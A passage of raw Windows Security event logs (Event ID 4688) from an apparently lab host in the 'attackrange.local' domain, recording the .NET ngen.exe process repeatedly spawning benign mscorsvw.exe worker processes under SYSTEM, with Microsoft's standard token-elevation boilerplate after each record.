Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:52 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255279
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb3c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 9b4 -InterruptEvent 0 -NGENProcess 984 -Pipe 968 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:52 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255278
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa48
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 990 -InterruptEvent 0 -NGENProcess 984 -Pipe 9ac -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:53 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255294
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x100c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 95c -InterruptEvent 0 -NGENProcess 9b4 -Pipe 908 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:53 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255293
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x718
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 960 -InterruptEvent 0 -NGENProcess 9b4 -Pipe 9a8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:53 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255292
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5f0
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 9b4 -InterruptEvent 0 -NGENProcess 97c -Pipe 9a0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:53 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255291
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa08
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 960 -InterruptEvent 0 -NGENProcess 97c -Pipe 9b8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:53 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255290
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd20
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 958 -InterruptEvent 0 -NGENProcess 97c -Pipe 99c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:53 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255289
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb38
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 8e0 -InterruptEvent 0 -NGENProcess 97c -Pipe 994 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:54 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255307
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb68
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 930 -InterruptEvent 0 -NGENProcess 8e4 -Pipe 9c8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:54 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255306
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11ac
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 9c4 -InterruptEvent 0 -NGENProcess 8e4 -Pipe 9cc -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:54 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255305
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10f4
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 9d8 -InterruptEvent 0 -NGENProcess 8e4 -Pipe 9b4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:54 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255304
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x61c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 96c -InterruptEvent 0 -NGENProcess 8e4 -Pipe 894 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:54 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255303
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1390
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 9d8 -InterruptEvent 0 -NGENProcess 9b4 -Pipe 9d4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:54 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255302
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10c4
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 958 -InterruptEvent 0 -NGENProcess 9b4 -Pipe 8f4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:54 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255301
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12c4
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 9b4 -InterruptEvent 0 -NGENProcess 8e0 -Pipe 8f0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:54 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255300
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11c8
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 958 -InterruptEvent 0 -NGENProcess 8e0 -Pipe 918 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:54 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255299
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x264
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 870 -InterruptEvent 0 -NGENProcess 8e0 -Pipe 95c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:54 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255298
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x368
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 8ec -InterruptEvent 0 -NGENProcess 8e0 -Pipe 910 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

